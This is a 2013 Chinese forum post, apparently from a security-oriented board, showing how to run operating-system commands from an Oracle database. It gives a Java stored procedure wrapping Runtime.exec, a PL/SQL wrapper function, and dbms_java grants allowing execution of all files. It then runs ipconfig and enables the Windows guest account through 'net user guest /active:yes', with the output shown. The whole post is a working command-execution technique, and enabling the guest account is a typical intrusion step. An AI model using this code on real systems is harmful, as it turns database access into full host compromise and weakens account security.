六狼论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

新浪微博账号登陆

只需一步,快速开始

搜索
查看: 53|回复: 0

oracle执行系统命令

[复制链接]

升级  40%

4

主题

4

主题

4

主题

童生

Rank: 1

积分
20
 楼主| 发表于 2013-1-14 08:50:41 | 显示全部楼层 |阅读模式
测试成功环境:windows XP+oracle 10g、window 2008 R2 + 11g
 
 
代码如下:
 
create or replace and compile Java Source named "OSCommand" as-- java:        OS COMMANDimport java.io.*;import java.lang.*;public class OSCommand{          public static String Run(String Command){                 Runtime rt = Runtime.getRuntime();                int     rc = -1;                 try{                         Process p = rt.exec( Command );                        int bufSize = 32000;                        int len = 0;                        byte buffer[] = new byte[bufSize];                        String s = null;                         BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );                        len = bis.read( buffer, 0, bufSize );                         rc = p.waitFor();                         if ( len != -1 ){                                s = new String( buffer, 0, len );                                return( s );                        }                         return( rc+"" );                }                 catch (Exception e){                        e.printStackTrace();                        return(  "-1\ncommand[" + Command + "]\n" + e.getMessage() );                }         }}/ show errors create or replace function OSexec( cCommand IN string ) return varchar2 is-- function:    OS EXEC-- descr:       PL/SQL wrapper for the Java OSCOMMAND stored proc--language        JAVAname            'OSCommand.Run(java.lang.String) return java.lang.String';/ show errors  -- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC-- and OSCOMMAND stored procs.declare        SCHEMA  varchar2(30) := 'SCOTT';begin        dbms_java.grant_permission(                SCHEMA,                'SYS:java.io.FilePermission',                '<<ALL FILES>>',                'execute'        );         dbms_java.grant_permission(                SCHEMA,                'SYS:java.lang.RuntimePermission',                'writeFileDescriptor',                '*'        );         dbms_java.grant_permission(                SCHEMA,                'SYS:java.lang.RuntimePermission',                'readFileDescriptor',                '*'        ); commit;end;/  -- 查看本地连接信息SQL> select OSexec('ipconfig') as STDOUT from dual; STDOUT-------------------------------------------------------------------------------- Windows IP ????  ??????????? ????l?? 3:    l??????? DNS ??? . . . . . . . :   ????t?? IPv6 ???. . . . . . . . : *************   IPv4 ??? . . . . . . . . . . . . : 192.168.100.100   ????????  . . . . . . . . . . . . : 255.255.255.0   ??????. . . . . . . . . . . . . : 0.0.0.0--激活guest账号 SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual; STDOUT--------------------------------------------------------------------------------0
您需要登录后才可以回帖 登录 | 立即注册 新浪微博账号登陆

本版积分规则

快速回复 返回顶部 返回列表